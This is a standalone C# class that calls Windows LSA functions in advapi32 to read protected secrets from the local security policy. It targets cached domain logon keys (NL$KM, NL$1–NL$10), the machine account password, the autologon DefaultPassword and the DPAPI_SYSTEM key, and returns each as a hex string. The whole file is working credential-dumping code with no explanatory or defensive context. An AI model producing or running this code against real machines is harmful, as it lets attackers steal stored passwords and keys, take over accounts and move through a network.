using System; using System.Runtime.InteropServices; public class G { [StructLayout(LayoutKind.Sequential)] struct LSA_UNICODE_STRING { public ushort Length; public ushort MaximumLength; public IntPtr Buffer; } [StructLayout(LayoutKind.Sequential)] struct LSA_OBJECT_ATTRIBUTES { public int Length; public IntPtr RootDirectory; public IntPtr ObjectName; public int Attributes; public IntPtr SecurityDescriptor; public IntPtr SecurityQualityOfService; } [DllImport("advapi32.dll", SetLastError=true)] static extern uint LsaOpenPolicy(ref LSA_UNICODE_STRING SystemName, ref LSA_OBJECT_ATTRIBUTES ObjectAttributes, uint DesiredAccess, out IntPtr PolicyHandle); [DllImport("advapi32.dll", SetLastError=true)] static extern uint LsaRetrievePrivateData(IntPtr PolicyHandle, ref LSA_UNICODE_STRING KeyName, out IntPtr PrivateData); [DllImport("advapi32.dll", SetLastError=true)] static extern uint LsaClose(IntPtr PolicyHandle); [DllImport("advapi32.dll", SetLastError=true)] static extern uint LsaFreeMemory(IntPtr Buffer); public static string Run(){ string o=""; LSA_UNICODE_STRING sys = new LSA_UNICODE_STRING(); LSA_OBJECT_ATTRIBUTES oa = new LSA_OBJECT_ATTRIBUTES(); oa.Length = Marshal.SizeOf(typeof(LSA_OBJECT_ATTRIBUTES)); IntPtr pol; uint st = LsaOpenPolicy(ref sys, ref oa, 0x000F0FFF, out pol); o += "open="+st+";"; if(st!=0) return o; string[] names = new string[]{"NL$KM","NL$1","NL$2","NL$3","NL$4","NL$5","NL$6","NL$7","NL$8","NL$9","NL$10","$MACHINE.ACC","DefaultPassword","DPAPI_SYSTEM"}; foreach(string name in names){ LSA_UNICODE_STRING key = new LSA_UNICODE_STRING(); key.Buffer = Marshal.StringToHGlobalUni(name); key.Length = (ushort)(name.Length*2); key.MaximumLength = (ushort)((name.Length+1)*2); IntPtr pd; uint r = LsaRetrievePrivateData(pol, ref key, out pd); if(r==0 && pd!=IntPtr.Zero){ LSA_UNICODE_STRING os = (LSA_UNICODE_STRING)Marshal.PtrToStructure(pd, typeof(LSA_UNICODE_STRING)); int n = os.Length; if(n>0){ byte[] buf = new byte[n]; Marshal.Copy(os.Buffer, buf, 0, n); o += name+"["+n+"]="+BitConverter.ToString(buf).Replace("-","")+";"; } else { o += name+"_empty;"; } LsaFreeMemory(pd); } else { o += name+"_err="+r+";"; } Marshal.FreeHGlobal(key.Buffer); } LsaClose(pol); return o; } }